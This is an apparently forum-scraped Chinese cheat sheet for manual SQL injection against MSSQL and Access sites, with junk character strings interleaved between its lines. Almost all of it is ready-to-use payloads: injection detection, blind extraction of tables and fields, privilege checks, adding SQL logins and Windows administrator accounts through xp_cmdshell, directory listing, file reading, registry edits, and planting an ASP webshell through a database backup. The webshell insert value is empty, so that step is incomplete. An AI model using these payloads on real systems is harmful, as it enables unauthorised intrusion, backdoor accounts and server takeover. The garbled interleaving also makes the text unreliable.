手工脚本注入
) }) E: V% z8 U+ ~1.判断是否有注入;and 1=1 ;and 1=2
, C; l+ r$ X3 _ S& O& M* h6 K7 ~- A0 d0 C! ]/ ]
2.初步判断是否是mssql ;and user>0
* u1 b& L4 u# `6 \4 R* Y' R9 U+ r7 S- B# E
3.注入参数是字符'and [查询条件] and ''=' $ B% O- g( a2 g% I9 j
! y: N% H7 r& Y
4.搜索时没过滤参数的'and [查询条件] and '%25'='
' V/ R/ {5 q6 L
, p3 m5 u; S) I! @5.判断数据库系统 " q( F6 l, B w( ?2 @
;and (select count(*) from sysobjects)>0 mssql
6 a ^) t' h% z5 \8 L3 K8 Z4 N9 b, Y;and (select count(*) from msysobjects)>0 access " N# ?! j3 r% t0 x: E2 n7 h' J
9 i! h0 V' i9 _" B* |
6.猜数据库 ;and (select Count(*) from [数据库名])>0
3 T$ |/ d9 Q/ A. \4 p4 M' T q( i8 z1 N( j# ?- V
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 6 e8 |; O- t% g) A/ H
/ R; R5 b4 U4 P, P8 s8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ' J1 m. X* b. Q
3 A( o- Q% u9 Y, |. K8 B% U9.(1)猜字段的ascii值(access)
0 g. s3 c7 |$ z+ |0 b5 A- Y4 Q;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 9 G) c) N" e/ f
) ~& ~0 L5 d* H) r# v(2)猜字段的ascii值(mssql)
7 W! ` u2 E' r! X! }+ t;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 & f# @! p6 d8 F( J' d7 f
& `. g1 ^$ E: X2 N; g# C10.测试权限结构(mssql)
/ b6 D8 \( j, R) q3 D;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- & M# J- e7 G. l6 O9 L5 f% X4 a
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
4 A) u' M; o; i5 @! A;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3 |0 O. b: k$ K) q# |. j) ]! `
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
( I2 |- U5 n1 K" ~: l0 v;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3 X: O& Y5 p& A% d; Q% j" u
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
: K; a( G3 Q9 r;and 1=(select IS_MEMBER('db_owner'));--
* f+ S* g J0 x/ l5 j
" q' k8 e0 {7 d' o/ T11.添加mssql和系统的帐户 * U- Z6 n; f: [$ `, Z; `
;exec master.dbo.sp_addlogin username;-- 4 ?% x& l$ ?7 C( U
1 K( I5 x2 U3 t4 c- x
;exec master.dbo.sp_password null,username,password;--
- r3 e5 h/ q+ f$ u k' I* @1 ^2 A! \: P9 R% z
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
" m5 O; q7 ]) n. H/ P
) v3 L( n, _, H+ y;exec master.dbo.xp_cmdshell 'net user username password
% g* E" Y- w( d+ S/ n/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 6 S: M( F. \0 r9 U L6 G5 a
+ F" t+ x% `& y;exec master.dbo.xp_cmdshell 'net user username password /add';-- . R* a/ Y/ {; V8 {& w) T
; |9 j! ]6 d; e/ W# p' S7 u
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 6 X. y) P- v- t) P
0 R/ @3 R$ o9 s1 N. u% O
12.(1)遍历目录 0 A& P; `" X8 _ e
" {( {9 I; ~. X j( v
;create table dirs(paths varchar(100), id int) 9 g. ~; t; p5 k" y$ K" S: n* |
;insert dirs exec master.dbo.xp_dirtree 'c:\'
% D5 \+ w4 [) v; D3 f1 U A$ U l;and (select top 1 paths from dirs)>0
! B$ \9 m" b5 `) Q: ]' K;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 3 o% r3 B* @+ ^
' F4 p0 i6 z% q) V) n. ?0 ~
(2)遍历目录
+ B- H8 a' M! `4 O/ q! }' Z" @;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5 r, U- i, K5 N- F! B$ [
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
9 X+ c% |* g0 u1 E+ n3 M;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 & P: m& ^7 Y+ S/ n2 t
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
8 Y" m) b/ }3 y: Q; D$ y1 A5 Q+ y' l;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 $ \0 C# h9 [6 a6 w# \: L1 c
# k( V: f9 p$ f% E4 W
13.mssql中的存储过程 & A/ [' A: [" K {6 ^! b7 @% V
8 E9 k2 @3 w0 @6 |
xp_regenumvalues 注册表根键, 子键
# {' r# L. ? }7 Q" \( h;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 $ G% v+ V% W! H% X" ?, ]
6 x( |# E/ L# ~0 ~% h
xp_regread 根键,子键,键值名 . j, {$ Z4 A) S [) \; a$ G+ y+ T
;exec xp_regread 8 y8 \! t9 U2 M
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
. B3 E- A/ s5 N# L/ y' a5 e
! D' z- ^ q9 W% exp_regwrite 根键,子键, 值名, 值类型, 值 + O( u' \; X, Y9 ]
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
9 g6 F. Q$ I0 }" p;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 , `8 [. `. ]# _$ R. l& _1 L
( X/ ]7 C, x8 s/ wxp_regdeletevalue 根键,子键,值名
f0 |- E3 A3 z0 e0 U* H- X, n* ?: e [. s4 |, }2 ~1 r' O
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
' b" g: i* j1 ~; q/ V6 ?
+ g4 a8 R! X, ?% h9 S+ H" K$ ^xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 9 ~- a9 F* i# h$ y" E/ {
7 s9 X, t& k# |8 }, Q% ^
14.mssql的backup创建webshell ) ^4 ?8 T' w* C4 ]
use model % h+ a+ O( h* ]1 e( b2 u: L; ^
create table cmd(str image);
) i9 ~0 u9 Q* L! v8 x; E1 Dinsert into cmd(str) values (''); }4 `6 K4 e! p2 G
backup database model to disk='c:\l.asp';
6 y. W) G. q7 a5 r
3 b& h; p" M; L7 d& L. S15.mssql内置函数 , F' N$ S7 t6 |% ~$ P4 i
;and (select @@version)>0 获得Windows的版本号
$ o4 g/ Y" _; x, r;and user_name()='dbo' 判断当前系统的连接用户是不是sa
8 m) U$ H* c g( A6 U$ A% T% n. e;and (select user_name())>0 爆当前系统的连接用户 * F) i) \; l* d" W5 D. d
;and (select db_name())>0 得到当前连接的数据库
7 i8 y8 H$ i% x: v2 s$ y7 A6 O8 b: V! m- B3 o
16.简洁的webshell
) `& z$ C3 ]$ L2 @; m" p. G1 v0 J; Z% e9 f
use model
# ^( I6 J: V5 D6 L% U5 k+ Q) Q' k0 ~1 C% W
create table cmd(str image); 3 B, P7 ` ^' y4 X! ]- c
; J# Z- K, O; ~, @, m
insert into cmd(str) values ('');
+ ?8 F3 m6 v4 O* E0 c
R, q, ~" C7 o0 z: j, n, Gbackup database model to disk='g:\wwwtest\l.asp'; 7 V* N' E3 y7 O2 J6 x: ]9 w* l4 b
' N" ?9 T( U8 ~% s- \ |